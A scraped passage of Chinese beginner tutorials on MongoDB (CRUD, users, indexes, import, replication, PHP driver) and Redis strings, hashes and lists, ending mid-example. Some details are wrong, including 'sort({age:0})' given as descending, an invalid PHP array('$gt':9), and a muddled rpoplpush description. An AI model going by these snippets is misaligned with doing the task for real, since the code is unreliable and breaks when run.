"xiaobai9", "email" : "xiaobai9@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36be"), "name" : "xiaobai10", "email" : "xiaobai10@gmail.com" }根据年龄的(降序|升序)来显示文档db.集合名.find().sort({age:1})根据年龄升序 db.集合名.find().sort({age:0})根据年龄降序显示 php 集合中的前三个文档> db.php.find().limit(3) { "_id" : ObjectId("5b931b7ca39e4f4842ba36b4"), "name" : "xiaobai5" } { "_id" : ObjectId("5b931dfba39e4f4842ba36ba"), "name" : "xiaosan", "age" : 6, "email" : "xiaobai6@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bb"), "name" : "xiaobai7", "age" : 7, "email" : "xiaobai7@gmail.com" }显示 php 集合中的第三个文档到第五个文档> db.php.find().skip(2).limit(3) { "_id" : ObjectId("5b931dfba39e4f4842ba36bb"), "name" : "xiaobai7", "age" : 7, "email" : "xiaobai7@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bc"), "name" : "xiaobai8", "age" : 8, "email" : "xiaobai8@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bd"), "name" : "xiaobai9", "age" : 9, "email" : "xiaobai9@gmail.com" }统计 php 集合中文档的个数db.集合名.count():返回集合中有多少个文档五、用户管理(权限控制)1、权限概述在 MongoDB 里面的用户是属于数据库的,每个数据库都有自己的管理员。管理员登录后,只能操作所属的数据库。注意:在 admin 的数据库中创建的用户是超级管理员,登陆后可以操作任何的数据库2、创建用户(1) 选择数据库use 数据库的名称(2) 添加用户db.createUser(用户名,密码,是否只读)第三个参数"是否只读"默认是 false ,创建的用户可以执行读写,如果是 true ,则创建的用户只能查询,不能修改。注意点:在创建用户之前,必须先创建一个超级管理员example:> use admin switched to db admin > db.createUser({user:'user', ... pwd:'passwd', ... roles:[ ... {role:'userAdminAnyDatabase', db:'admin'} ... ] ... }) Successfully added user: { "user" : "user", "roles" : [ { "role" : "userAdminAnyDatabase", "db" : "admin" } ] }3、验证权限(用户登录)在添加完成管理员之后,我们做如下操作:(1) 如果你是安装成windows服务的方式安装的,则卸载服务,在安装时添加一个 -auth 选项,auth 表示要开启权限认证(2) 如果你是直接启动的方式,则停止服务,重新启动,在启动时也要添加 --auth 选项,auth 表示要开启权限认证如果没有通过权限验证,直接操作数据库,则报如下错误提示:error: { "$err" : "unauthorized db:test lock type:-1 client:127.0.0.1", "code" : 10057 }如何通过权限验证选择数据库执行db.auth (用户名,密码)4、删除用户和修改密码注意:创建的用户名和密码是存储在各自数据库里面的 system.users 集合里面的。想要删除用户,则直接删除 system.users 集合里面的文档即可5、总结说明a) 非 admin 数据库的用户不能使用数据库命令,比如 show dbs 等(b) admin 数据库中的用户被视为超级用户(即管理员),在认证之后,管理员可以读写所有数据库,执行特定的管理命令。(c) 在开启安全检查之前,一定要至少有个管理员账户。(d) 数据库的用户账号以文档的形式存储在 system.users 集合里面。可以在 system.users 集合中删除用户账号文档,就可以删除用户。六、MongoDB中的索引1、普通单列索引我们用如下代码来测试:for(var i=0;i<200000;i++){ db.java.insert({name:'xiao'+i,age:i}) }第一、我们先检验一下查询性能var start=new Date() db.java.find({name:'xiao156789'}) var end=new Date() end-start 17510第二、为 name 创建索引> db.java.ensureIndex({name:1}) { "createdCollectionAutomatically" : false, "numIndexesBefore" : 1, "numIndexesAfter" : 2, "ok" : 1 }第三、再执行第一部分代码可以看出有数量级的性能提升语法:db.集合名.ensureIndex({键名:1}) :1是升序,-1是降序2、多列索引(复合索引)创建多列索引语法:db.集合名.ensureIndex({field1:1/-1,field2:1/-1})对 name 和 age 建立一个复合索引,可以使用 db.集合名.getIndexes() 查看创建的索引情况3、子文档索引语法: db.集合名.ensureIndex({field.subfield:1/-1})如下文档可以建立子文档索引{name:'诺基亚手机1',price:12.34,spc:{weight:100,area:'纽约'}} {name:'诺基亚手机2',price:42.34,spc:{weight:200,area:'伦敦'}}比如要查询 weight=100 的文档db.goods.find({'spc.weight':100})根据当前案例,我们建立子文档索引db.net.ensureIndex({'spc.w':1})4、唯一索引语法: db.集合名.ensureIndex({name:-1},{unique:true})5、查看索引(1) 查看当前索引状态: db.集合名.getIndexes()(2) 详情查看本次查询使用哪个索引和查询数据的状态信息: db.集合名.find({name:''xiao}).explain()6、删除索引删除单个索引: db.集合名.dropIndex({filed:1/-1})删除所有索引: db.集合名.dropIndexes()7、重建索引一个表经过很多次修改后,导致表的文件产生空洞,索引文件也如此,可以通过索引的重建,减少索引文件碎片,并提高索引的效率,类似 mysql 中的 optimize table 。mysql 里面使用 optimize table 语法: optimize table 表名语法: db.集合名.reIndex()8、索引使用注意事项(1) 创建索引的时候,注意1是正序创建索引,-1是倒序创建索引(2) 索引的创建在提高查询性能的同时会影响插入性能,对于经常查询少插入(3) 复合索引要注意索引的先后顺序(4) 每个键全建立索引不一定就能提高性能,索引不是万能的。(5) 在做排序工作的时候如果是超大数据量也可以考虑加上索引用来提高排序的性能。八、MongoDB中的数据导出与导出利用mongoexport-h host主机-port 端口-d 指明使用的库-o 指明要导出的文件名-csv 指定导出的csv格式-q 过滤导出-f field1 field2 列名-u username 用户名-p password 密码注意:在使用用户名和密码是超级管理员的时候,如果端口是默认的可以不使用-port来指定端口(2) 导入数据-d 待导入的数据库-c 待导入的集合(不存在会自己创建)-type csv/json(默认)-file 备份文件路径例如:导入json./bin/mongoimport -h -port 端口号 -d test -c goods -file ./goodsall.json导入csv./bin/mongoimport -h -port 端口号 -d test -c goods -type csv -f goods.id,goods.name -file ./goodsall.csv ./bin/mongoimport -h -port 端口号 -d test -c goods -type csv -f -headline -f goods.id,goods.name -file ./goodsall.csv九、主从复制(读写分离)主从复制是一个简单的数据库同步备份的集群技术,至少两台数据库服务器,可以分别设置主服务器和从服务器,对主服务器的任何操作都会同步到从服务器上。实现的注意点1、在数据库集群中要明确的知道谁是主服务器,主服务器只有一台2、从服务器要知道自己的数据源 也就是对应的主服务是谁3、--master用来确定主服务器 --slave和--source来控制从服务器配置步骤(1) 启动主服务器(2) 启动从服务器(3) 客户端登录到主服务器添加一些数据,测试是否同步到从服务器,在主服务器里面,添加了一些文档:第一步,客户端登录到主服务器,添加一些文档第二步,登录到从服务器,查看是否有数据,如果有数据,则成功了!十、php操作MongoDB1、安装扩展注意:扩展文件,下载合适的php_mongodb.dll文件1) php的版本2) 是否是线程安全的thread safe(ts)3) 是vc几的4) php是32位的还是64位的步骤1) 把对应的扩展,拷贝到PHP的安装目录里面的ext目录下面,注意:拷贝后改名为php_mongo.dll,方便管理2) 打开php.ini文件,引入该扩展extension=php_mongo.dll3) 重启Apache,使用phpinfo()函数测试2、入门使用1) 连接mongodb服务器$m=new MongoClient("mongodb://root:root@localhost:8888/admin"); $db=$m->selectDb("stu");//选择数据库2) 增删改查用法增删改查注意,在命令行里面的"." 变成了"->","{}"变成了数组a) 添加一个文档$db->php->insert(array('name'=>'李元霸','age'=>12));b) 查询文档$data=$db->php->find();查询年龄等于9的文档:$data=$db->php->find(array('age'=>9));查询年龄大于9的文档://db.php.find({age:{'$gt':9}}) $data=$db->php->find(array('age'=>array('$gt':9)));根据年龄降序显示:$data=$db->php->find()->sort(array('age'=>1)); foreach($data as $v){ echo $v['name'].'----'.$v['age'].'--'.$v['email'].''; }c) 修改文档,我们直接使用修改器来完成把年龄等于8的名称改名为李白://db.php.update({age:8},{'$set':{'name':'李白'}}) $db->php->update(array('age'=>8),array('$set'=>array('name'=>'李白'));d) 删除文档比如删除年龄等于10的文档://db.php.remove({age:10}) $db->php->remove(array('age'=>10)) $data=$db->php->find() foreach($data as $v){ echo $v['name'].'----'.$v['age'].'--'.$v['email'].''; }3) 把mysql表里面的数据存储到mongodb里面selectDb("stu");//选择数据库 //从mysql里面取出数据 $conn=mysql_connect('localhost','root','root'); mysql_query('use shop'); mysql_query('set names utf8'); $sql="select * from goods"; $res=mysql_query($sql); while($row=mysql_fetch_assoc($res)){ $db->goods->insert($row); } echo 'ok';
小白必须懂的MongoDB的总结一、MongoDB的认识1、什么是MongoDB?MongoDB 是一个介于关系数据库和非关系数据库之间的开源产品,是最接近于关系型数据库的 NoSQL 数据库。它在轻量级JSON 交换基础之上进行了扩展,即称为 BSON 的方式来描述其无结构化的数据类型。尽管如此它同样可以存储较为复杂的数据类型。它和上一篇文章讲到的Redis有异曲同工之妙。虽然两者均为 NoSQL ,但是 MongoDB 相对于 Redis 而言,MongoDB 更像是传统的数据库。早些年我们是先有了 Relation Database (关系型数据库),然后出现了很多很复杂的query ,里面用到了很多嵌套,很多 join 操作。所以在设计数据库的时候,我们也考虑到了如何应用他们的关系,使得写 query 可以使 database 效率达到最高。后来人们发现,不是每个系统,都需要如此复杂的关系型数据库。有些简单的网站,比如博客,比如社交网站,完全可以斩断数据库之间的一切关系。这样做带来的好处是,设计数据库变得更加简单,写 query 也变得更加简单。然后,query 消耗的时间可能也会变少。因为 query 简单了,少了许多消耗资源的 join 操作,速度自然会上去。正如所说的, query 简单了,很有以前 MySQL 可以找到的东西,现在关系没了,通过 Mongo 找不到了。我们只能将几组数据都抓到本地,然后在本地做 join ,所以在这点上可能会消耗很多资源。这里我们可以发现。如何选择数据库,完全取决于你所需要处理的数据的模型,即 Data Model 。如果它们之间,关系错综复杂,千丝万缕,这个时候 MySQL 一定是首选。如果他们的关系并不是那么密切,那么, NoSQL 将会是利器。MongoDB 和 Redis 一样均为 key-value 存储系统,它具有以下特点:面向集合存储,易存储对象类型的数据。模式自由。支持动态查询。支持完全索引,包含内部对象。支持查询。支持复制和故障恢复。使用高效的二进制数据存储,包括大型对象(如视频等)。自动处理碎片,以支持云计算层次的扩展性支持 Python , PHP , Ruby , Java , C , C# , Javascript ,Perl 及 C++ 语言的驱动程序,社区中也提供了对 Erlang 及 .NET 等平台的驱动程序。文件存储格式为 BSON (一种 JSON 的扩展)。可通过网络访问。2、MongoDB与MySQL性能比较像 MySQL 一样, MongoDB 提供了丰富的远远超出了简单的键值存储中提供的功能和功能。 MongoDB 具有查询语言,功能强大的辅助索引(包括文本搜索和地理空间),数据分析功能强大的聚合框架等。相比使用关系数据库而言,使用MongoDB ,您还可以使用如下表所示的这些功能,跨越更多样化的数据类型和数据规模。MySQLMongoDB丰富的数据模型否是动态 Schema否是数据类型是是数据本地化否是字段更新是是易于编程否是复杂事务是否审计是是自动分片否是MySQL 中的许多概念在 MongoDB 中具有相近的类比。本表概述了每个系统中的一些常见概念。MySQLMongoDB表集合行文档列字段joins嵌入文档或者链接3、应用范围和限制MongoDB 的主要目标是在 key-value (键/值)存储方式(提供了高性能和高度伸缩性)以及传统的 RDBMS 系统(丰富的功能)架起一座桥梁,集两者的优势于一身。 MongoDB 适用范围如下:网站数据: Mongo 非常适合实时的插入,更新与查询,并具备网站实时数据存储所需的复制及高度伸缩性。缓存:由于性能很高, Mongo 也适合作为信息基础设施的缓存层。在系统重启之后,由 Mongo 搭建的持久化缓存层可以避免下层的数据源过载。大尺寸,低价值的数据:使用传统的关系型数据库存储一些数据时可能会比较昂贵,在此之前,很多时候程序员往往会选择传统的文件进行存储。高伸缩性的场景: Mongo 非常适合由数十或数百台服务器组成的数据库。 Mongo 的路线图中已经包含对 MapReduce 引擎的内置支持。用于对象及 JSON 数据的存储: Mongo 的 BSON 数据格式非常适合文档化格式的存储及查询。MongoDB 当然也会有以下场景的限制:高度事物性的系统:例如银行或会计系统。传统的关系型数据库目前还是更适用于需要大量原子性复杂事务的应用程序。传统的商业智能应用:针对特定问题的 BI 数据库会对产生高度优化的查询方式。对于此类应用,数据仓库可能是更合适的选择。需要 SQL 的问题。二、MongoDB的安装环境准备CentOS7MongoDB 3.6安装步骤1、创建一个 mongodb-org-3.6.repo 文件vi /etc/yum.repos.d/mongodb-org-3.6.repo在文件中加入如下内容:[mongodb-org-3.6] name=MongoDB Repository baseurl=https://repo.mongodb.org/yum/amazon/2013.03/mongodb-org/3.6/x86_64/ gpgcheck=1 enabled=1 gpgkey=https://www.mongodb.org/static/pgp/server-3.6.asc退出编辑模式,直接输入如下命令安装即可:sudo yum install -y mongodb-org若要安装特定版本的 MongoDB ,请分别指定每个组件包并将版本号附加到包名称,如下所示:sudo yum install -y mongodb-org-3.6.3 mongodb-org-server-3.6.3 mongodb-org-shell-3.6.3 mongodb-org-mongos-3.6.3 mongodb-org-tools-3.6.3你可以指定任何可用的 MongoDB 版本。然而, yum 会在新版本可用时升级软件包。为防止意外升级,请钉住包装。要固定软件包,请将以下 exclude 指令添加到 /etc/yum.conf 文件中:exclude=mongodb-org,mongodb-org-server,mongodb-org-shell,mongodb-org-mongos,mongodb-org-tools我们直接运行如下命令:mongod -repair看到如下字样,说明我们安装成功!我们创建一个 db ,并查看下 mongo 的安装位置:mkdir db whereis mongod安装完成后启动 mongodb ,并查看下 mongob 启动状态:systemctl start mongod.service systemctl status mongod.service如果出现如下字样,说明启动成功!成功启动 MongoDB 后,新建一个命令行输入 mongo 进行登录操作,即可进行数据库的一些操作了。mongo三、MongoDB数据类型及常用命令讲解MongoDB 的数据类型大致有下列几种:数据类型描述String字符串。存储数据常用的数据类型。在 MongoDB 中,UTF-8 编码的字符串才是合法的。Integer整型数值。用于存储数值。根据你所采用的服务器,可分为 32 位或 64 位。Boolean布尔值。用于存储布尔值(真/假)。Double双精度浮点值。用于存储浮点值。Min/Max keys将一个值与 BSON (二进制的 JSON)元素的最低值和最高值相对比。Arrays用于将数组或列表或多个值存储为一个键。Timestamp时间戳。记录文档修改或添加的具体时间。Object用于内嵌文档。Null用于创建空值。Symbol符号。该数据类型基本上等同于字符串类型,但不同的是,它一般用于采用特殊符号类型的语言。Date日期时间。用 UNIX 时间格式来存储当前日期或时间。你可以指定自己的日期时间:创建 Date 对象,传入年月日信息。Object ID对象 ID。用于创建文档的 ID。Binary Data二进制数据。用于存储二进制数据。Code代码类型。用于在文档中存储 JavaScript 代码。Regular expression正则表达式类型。用于存储正则表达式。下面我们将介绍一些 MongoDB 的常用命令!1、创建数据库use 数据库名称 :创建一个新的数据库。注意:如果该数据库不存在,则创建,如果该数据库存在,则是切换如果创建了数据库,没有任何的操作,则会自动删除该数据库example:> use stu switched to db stu2、查看数据库show dbs :查看当前有多少个数据库example:> show dbs admin 0.000GB config 0.000GB local 0.000GB3、创建集合db.集合名.insert({}) :向集合里面,添加文档。{} 里面是 json 的文档。注意: mongodb 里面的集合是隐式创建,就是无需创建,直接使用。 db 表示显示当前所在的数据库。example:> db.php.insert({"name":"xiaoming","age":20,"email":"xiaoming@gmail.com"}) WriteResult({ "nInserted" : 1 }) > db.php.insert({"name":"xiaohong","age":18,"email":"xiaohong@gmail.com"}) WriteResult({ "nInserted" : 1 })4、查看集合show tables :查看当前数据库中的集合example:> show tables php5、查询集合里面的文档db.集合名.find() :查询当前数据库中该集合下的所有文档example:> db.php.find() { "_id" : ObjectId("5b9318ac487b851e62879578"), "name" : "xiaoming", "age" : 20, "email" : "xiaoming@gmail.com" } { "_id" : ObjectId("5b9319a2487b851e62879579"), "name" : "xiaohong", "age" : 18, "email" : "xiaohong@gmail.com" }db.集合名.find :查询当前数据库中该集合下的第一个文档example:> db.php.find function (query, fields, limit, skip, batchSize, options) { var cursor = new DBQuery(this._mongo, this._db, this, this._fullName, this._massageObject(query), fields, limit, skip, batchSize, options || this.getQueryOptions()); { const session = this.getDB().getSession(); const readPreference = session._serverSession.client.getReadPreference(session); if (readPreference !== null) { cursor.readPref(readPreference.mode, readPreference.tags); } const readConcern = session._serverSession.client.getReadConcern(session); if (readConcern !== null) { cursor.readConcern(readConcern.level); } } return cursor; }6、删除集合db.集合名.drop() :删除当前数据库中的集合example:> db.php.drop() true7、删除数据库db.dropDatabase() :删除当前的数据库> db.dropDatabase() { "dropped" : "stu", "ok" : 1 }8、帮助命令help :全局帮助命令> help db.help() help on db methods db.mycoll.help() help on collection methods sh.help() sharding helpers rs.help() replica set helpers help admin administrative help help connect connecting to a db help help keys key shortcuts help misc misc things to know help mr mapreduce show dbs show database names show collections show collections in current database show users show users in current database show profile show most recent system.profile entries with time >= 1ms show logs show the accessible logger names show log [name] prints out the last segment of log in memory, 'global' is default use set current database db.foo.find() list objects in collection foo db.foo.find( { a : 1 } ) list objects in foo where a == 1 it result of the last line evaluated; use to further iterate DBQuery.shellBatchSize = x set default number of items to display on shell exit quit the mongo shelldb.help() :数据库相关的帮助命令example:> db.help() DB methods: db.adminCommand(nameOrDocument) - switches to 'admin' db, and runs command [just calls db.runCommand(...)] db.aggregate([pipeline], {options}) - performs a collectionless aggregation on this database; returns a cursor db.auth(username, password) db.cloneDatabase(fromhost) db.commandHelp(name) returns the help for the command db.copyDatabase(fromdb, todb, fromhost) db.createCollection(name, {size: ..., capped: ..., max: ...}) db.createView(name, viewOn, [{$operator: {...}}, ...], {viewOptions}) db.createUser(userDocument) db.currentOp() displays currently executing operations in the db db.dropDatabase() db.eval() - deprecated db.fsyncLock() flush data to disk and lock server for backups db.fsyncUnlock() unlocks server following a db.fsyncLock() db.getCollection(cname) same as db['cname'] or db.cname db.getCollectionInfos([filter]) - returns a list that contains the names and options of the db's collections db.getCollectionNames() db.getLastError() - just returns the err msg string db.getLastErrorObj() - return full status object db.getLogComponents() db.getMongo() get the server connection object db.getMongo().setSlaveOk() allow queries on a replication slave server db.getName() db.getPrevError() db.getProfilingLevel() - deprecated db.getProfilingStatus() - returns if profiling is on and slow threshold db.getReplicationInfo() db.getSiblingDB(name) get the db at the same server as this one db.getWriteConcern() - returns the write concern used for any operations on this db, inherited from server object if set db.hostInfo() get details about the server's host db.isMaster() check replica primary status db.killOp(opid) kills the current operation in the db db.listCommands() lists all the db commands db.loadServerScripts() loads all the scripts in db.system.js db.logout() db.printCollectionStats() db.printReplicationInfo() db.printShardingStatus() db.printSlaveReplicationInfo() db.dropUser(username) db.repairDatabase() db.resetError() db.runCommand(cmdObj) run a database command. if cmdObj is a string, turns it into {cmdObj: 1} db.serverStatus() db.setLogLevel(level,) db.setProfilingLevel(level,slowms) 0=off 1=slow 2=all db.setWriteConcern() - sets the write concern for writes to the db db.unsetWriteConcern() - unsets the write concern for writes to the db db.setVerboseShell(flag) display extra information in shell output db.shutdownServer() db.stats() db.version() current version of the serverdb.集合名.help() :集合相关的帮助命令example:> db.php.help() DBCollection help db.php.find().help() - show DBCursor help db.php.bulkWrite( operations, ) - bulk execute write operations, optional parameters are: w, wtimeout, j db.php.count( query = {}, ) - count the number of documents that matches the query, optional parameters are: limit, skip, hint, maxTimeMS db.php.copyTo(newColl) - duplicates collection by copying all documents to newColl; no indexes are copied. db.php.convertToCapped(maxBytes) - calls {convertToCapped:'php', size:maxBytes}} command db.php.createIndex(keypattern[,options]) db.php.createIndexes([keypatterns], ) db.php.dataSize() db.php.deleteOne( filter, ) - delete first matching document, optional parameters are: w, wtimeout, j db.php.deleteMany( filter, ) - delete all matching documents, optional parameters are: w, wtimeout, j db.php.distinct( key, query, ) - e.g. db.php.distinct( 'x' ), optional parameters are: maxTimeMS db.php.drop() drop the collection db.php.dropIndex(index) - e.g. db.php.dropIndex( "indexName" ) or db.php.dropIndex( { "indexKey" : 1 } ) db.php.dropIndexes() db.php.ensureIndex(keypattern[,options]) - DEPRECATED, use createIndex() instead db.php.explain().help() - show explain help db.php.reIndex() db.php.find([query],[fields]) - query is an optional query filter. fields is optional set of fields to return. e.g. db.php.find( {x:77} , {name:1, x:1} ) db.php.find(...).count() db.php.find(...).limit(n) db.php.find(...).skip(n) db.php.find(...).sort(...) db.php.findOne([query], [fields], [options], [readConcern]) db.php.findOneAndDelete( filter, ) - delete first matching document, optional parameters are: projection, sort, maxTimeMS db.php.findOneAndReplace( filter, replacement, ) - replace first matching document, optional parameters are: projection, sort, maxTimeMS, upsert, returnNewDocument db.php.findOneAndUpdate( filter, update, ) - update first matching document, optional parameters are: projection, sort, maxTimeMS, upsert, returnNewDocument db.php.getDB() get DB object associated with collection db.php.getPlanCache() get query plan cache associated with collection db.php.getIndexes() db.php.group( { key : ..., initial: ..., reduce : ...[, cond: ...] } ) db.php.insert(obj) db.php.insertOne( obj, ) - insert a document, optional parameters are: w, wtimeout, j db.php.insertMany( [objects], ) - insert multiple documents, optional parameters are: w, wtimeout, j db.php.mapReduce( mapFunction , reduceFunction , ) db.php.aggregate( [pipeline], ) - performs an aggregation on a collection; returns a cursor db.php.remove(query) db.php.replaceOne( filter, replacement, ) - replace the first matching document, optional parameters are: upsert, w, wtimeout, j db.php.renameCollection( newName , ) renames the collection. db.php.runCommand( name , ) runs a db command with the given name where the first param is the collection name db.php.save(obj) db.php.stats({scale: N, indexDetails: true/false, indexDetailsKey: , indexDetailsName: }) db.php.storageSize() - includes free space allocated to this collection db.php.totalIndexSize() - size in bytes of all the indexes db.php.totalSize() - storage allocated for all data and indexes db.php.update( query, object[, upsert_bool, multi_bool] ) - instead of two flags, you can pass an object with fields: upsert, multi db.php.updateOne( filter, update, ) - update the first matching document, optional parameters are: upsert, w, wtimeout, j db.php.updateMany( filter, update, ) - update all matching documents, optional parameters are: upsert, w, wtimeout, j db.php.validate( ) - SLOW db.php.getShardVersion() - only for use with sharding db.php.getShardDistribution() - prints statistics about data distribution in the cluster db.php.getSplitKeysForChunks( ) - calculates split points over all chunks and returns splitter function db.php.getWriteConcern() - returns the write concern used for any operations on this collection, inherited from server/db if set db.php.setWriteConcern( ) - sets the write concern for writes to the collection db.php.unsetWriteConcern( ) - unsets the write concern for writes to the collection db.php.latencyStats() - display operation latency histograms for this collection
新人入坑Redis必会的吐血总结一、什么是RedisRedis是一个使用C语言开发的开源的高性能的key-value存储系统,我们可以把它近似理解为Java Map。简单来讲,Redis是一种NOSQL内存数据库,小伙伴们可不要把它理解为NO SQL(不是SQL),它的全称是Not Only SQL(不仅仅是SQL),换个层面来讲,它是一种非关系型的数据库,它是作为关系型数据库的良好补充,它与传统的MySQL,Oracle不同之处在于,它是通过在内存中读写数据,大大提高了读写速度。可以说,Redis是为了解决网站高并发、高可用、高可扩展、大数据存储等一系列问题而产生的数据库解决方案,不可或缺的一部分。它具有以下特点:1、Redis支持数据的持久化,可以将内存中的数据保持在磁盘中,重启的时候可以再次加载进行使用。2、Redis不仅仅支持简单的key-value类型的数据,同时还提供string、list、set、sortedset、hash等数据结构的存储。3、Redis支持数据的备份,即master-slave模式的数据备份。Redis有五种键值类型:String字符类型hash散列类型list列表类型set集合类型sortedset有序集合类型而本文将基于Redis5.0为例来介绍Redis一些相关命令的使用和踩过的坑二、关于Redis的安装与启动环境准备CentOS7 (未安装Development Tools)Redis5.0-rc3.tar.gz安装教程请参看这里:https://www.cnblogs.com/ECJTUACM-873284962/p/9532043.html在线环境官网似乎提供了一个在线的Redis平台,链接在这里:http://try.redis.io/Redis启动前端启动按照我所提供的教程安装以后,我们只需要输入命令redis-server即可,界面如下:前端停止启动强制关闭:Ctrl+c正常关闭[root@sakura]# redis-cli shutdown后端启动因为Redis在实际使用中不会只是一个Redis单独工作,启动和关闭方式中的ip地址和端口号可以在配置文件中自行修改,下面会有修改方式.启动方式需要将redis解压之后的源码包中的redis.conf文件拷贝到bin目录下.直接复制粘贴即可修改redis.conf文件,将daemonize改为yes(vi redis.conf进去,:/daemonize搜索).使用命令后端启动redis.命令行redis-server redis.conf(以配置文件启动)查看是否启动成功.命令行 ps -aux | grep redis (直接查看redis的进程)如果你之前按照我所提供的教程修改过,这一过程可以直接忽略就好关闭方式强制关闭:kill -9 PID正常关闭:redis-cli -h ip地址 -p 端口号(默认端口号是6379) shutdown在项目中,建议使用正常关闭。 因为redis作为缓存来使用的话,将数据存储到内存中,如果使用正常关闭,则会将内存数据持久化到本地之后,再关闭。如果是强制关闭,则不会进行持久化操作,可能会造成部分数据的丢失。Redis客户端启动启动客户端命令:[root@sakura]# redis-cli -h ip地址 -p 端口号由于默认IP是127.0.0.1,端口是6379,我们只需要输入命令redis-cli即可退出:127.0.0.1:6379> quit即可三、Redis数据类型及常用命令讲解1、Redis-Stringstring使用环境:主要用于保存json格式的字符串赋值set key value:设定key持有指定的字符串value,如果该key存在则进行覆盖操作,总是返回"OK",如果赋予相同的key,新的value会覆盖老的valueexample:127.0.0.1:6379> set username zhangsan OK取值get key:获取key的value。如果与该key关联的value不是string类型,redis将返回错误信息,因为get命令只能用于获取string value;如果该key不存在,返回nilexample:127.0.0.1:6379> get username "zhangsan"删除del key:删除指定key,返回值是数字类型,表示删了几条数据example:127.0.0.1:6379> del username (integer) 1扩展getset key value:先获取该key的值,然后再设置该key的值example:127.0.0.1:6379> getset username zhangsan (nil) 127.0.0.1:6379> keys * 1) "username" 127.0.0.1:6379> get username "zhangsan"incr key:将指定的key的value原子性的递增1,如果该key不存在,其初始值为0,在incr之后的值为1,如果value的值不能转成整型,如hello,该操作将执行失败并返回相应的错误信息,相当于++(作用:统计网站访客人数,当计数器)example:127.0.0.1:6379> set age 18 OK 127.0.0.1:6379> incr age (integer) 19decr key:将指定的key的value原子性的递减1,如果该key不存在,其初始值为0,在incr之后的值为-1,如果value的值不能转成整型,如hello,该操作将执行失败并返回相应的错误信息,相当于--iexample:127.0.0.1:6379> set age 18 OK 127.0.0.1:6379> decr age (integer) 17append key value:拼接字符串,如果该key存在,则在原有的value后追加该值,如果该key不存在,则重新创建一个key/valueexample:127.0.0.1:6379> set information hel OK 127.0.0.1:6379> append information lo (integer) 5 127.0.0.1:6379> get information "hello"incrby和decrby:只能对字符串是数字的进行操作,incrby key value是对原有的key的值增加value,而decrby key value是对原有的key的值减少valueexample:127.0.0.1:6379> get age "17" 127.0.0.1:6379> incrby age 10 (integer) 27 127.0.0.1:6379> decrby age 10 (integer) 17 127.0.0.1:6379> get information "hello" 127.0.0.1:6379> incrby information 10 (error) ERR value is not an integer or out of range 127.0.0.1:6379> decrby information 10 (error) ERR value is not an integer or out of range2、Redis-hashRedis中的hash类型可以看成具有string key和string value的map容器,所以该类型非常适合于存储值对象的信息。如username,password和age等。如果hash中包含很少的字段,那么该类型的数据也将仅占用很少的磁盘空间。每一个hash可以存储4294967295个键值对。hash特点:占用的磁盘空间极少赋值:hset key field value:为指定的key设定field/value对(键值对)example:127.0.0.1:6379> hset key1 field1 123 (integer) 1hmset key field value[field2 value2...]:设置key中的多个field/valueexample:127.0.0.1:6379> hmset aaa name kitty age 20 OK取值:hget key filed:获取指定的key的field的值example:127.0.0.1:6379> hget key1 field1 "123"hmget key filed1 field2...:获取key中的多个field的值example:127.0.0.1:6379> hmget aaa name age 1) "kitty" 2) "20"hgetall key:获取key中的所有field-value2example:127.0.0.1:6379> hgetall aaa 1) "name" 2) "kitty" 3) "age" 4) "20"删除hdel key field[field...]:可以删除一个或多个字段,返回值是被删除的字段个数example:127.0.0.1:6379> hdel key1 field1 (integer) 1del key:删除整个listexample:127.0.0.1:6379> del aaa (integer) 1增加数字hincrby key field increment:设置key中的field增加increment,如age增加20example:127.0.0.1:6379> hmset aaa name kitty age 20 OK 127.0.0.1:6379> hincrby aaa age 20 (integer) 40扩展命令hexists key field:判断指定的key中的field是否存在example:127.0.0.1:6379> hexists aaa name (integer) 1 127.0.0.1:6379> hexists aaa aaaa (integer) 0hlen key:获取key所包含的field的数量example:127.0.0.1:6379> hlen aaa (integer) 2hkeys key:获得所有的字段example:127.0.0.1:6379> hkeys aaa 1) "name" 2) "age"3、Redis-listRedis中list选取的是链表,因为在Redis操作中,最多的操作是进行元素的增删赋值lpush key value [value1 value2 ...] 在指定的key所关联的list头部插入所有的value,如果该key不存在,该命令在插入之前创建一个与该key关联的空链表,之后再向该链表的头部插入数据,插入成功,返回元素的个数。example:127.0.0.1:6379> lpush score1 1 2 3 4 5 (integer) 5rpush key value [value1 value2 ...] 在该list的尾部添加元素example:127.0.0.1:6379> rpush score2 1 2 3 4 5 (integer) 5取值lrange key start end:获取链表中从start到end的元素的值,start、end从0开始计数;也可以为负数,若为-1则表示链表尾部的元素,-2表示倒数第二个,以此类推...example:127.0.0.1:6379> lrange score1 0 -1 1) "5" 2) "4" 3) "3" 4) "2" 5) "1" 127.0.0.1:6379> lrange score2 0 -1 1) "1" 2) "2" 3) "3" 4) "4" 5) "5"删值lpop key:返回并弹出指定的key关联的链表中的第一个元素,即头部元素。如果该key不存在,返回nil;若key存在,则返回链表的头部元素example:127.0.0.1:6379> lpop score1 "5" 127.0.0.1:6379> lpop score2 "1"rpop key:从尾部弹出元素example:127.0.0.1:6379> rpop score1 "1" 127.0.0.1:6379> rpop score2 "5"扩展llen key:返回指定的key关联的链表中的元素的数量example:127.0.0.1:6379> llen score1 (integer) 3 127.0.0.1:6379> llen score2 (integer) 3lrem key count value:删除count个值为value的元素,如果count大于0,从头到尾遍历并删除count个值为value的元素,如果count小于0,则从尾到头遍历并删除,如果count等于0,则删除链表中所有等于value的元素。example:127.0.0.1:6379> lrem score1 1 2 (integer) 1 127.0.0.1:6379> lrem score2 1 2 (integer) 1通过索引替换lset key index value:设置链表中的index的脚标的元素值,0代表链表的头元素,-1代表链表的尾元素。操作链表的脚标不存在则抛出异常example:127.0.0.1:6379> lset score1 0 1 OK 127.0.0.1:6379> lset score2 0 1 OK在索引前/后插入元素linsert key before|after pivot value:在pivot元素前或者后插入value这个元素example:127.0.0.1:6379> linsert score1 before 3 aaa (integer) 3 127.0.0.1:6379> lrange score1 0 -1 1) "1" 2) "aaa" 3) "3" 127.0.0.1:6379> linsert score1 after 3 bbb (integer) 4 127.0.0.1:6379> lrange score1 0 -1 1) "1" 2) "aaa" 3) "3" 4) "bbb"rpoplpush resource destination:将链表中的尾部元素弹出并添加到头部。[循环操作]example:127.0.0.1:6379> lrange score1 0 -1 1) "1" 2) "aaa" 3) "3" 127.0.0.1:6379> lrange score2 0 -1 1) "bbb" 2) "1" 3) "4" 127.0.0.1:6379> rpoplpush score1 score2 "3" 127.0.0.1:6379> 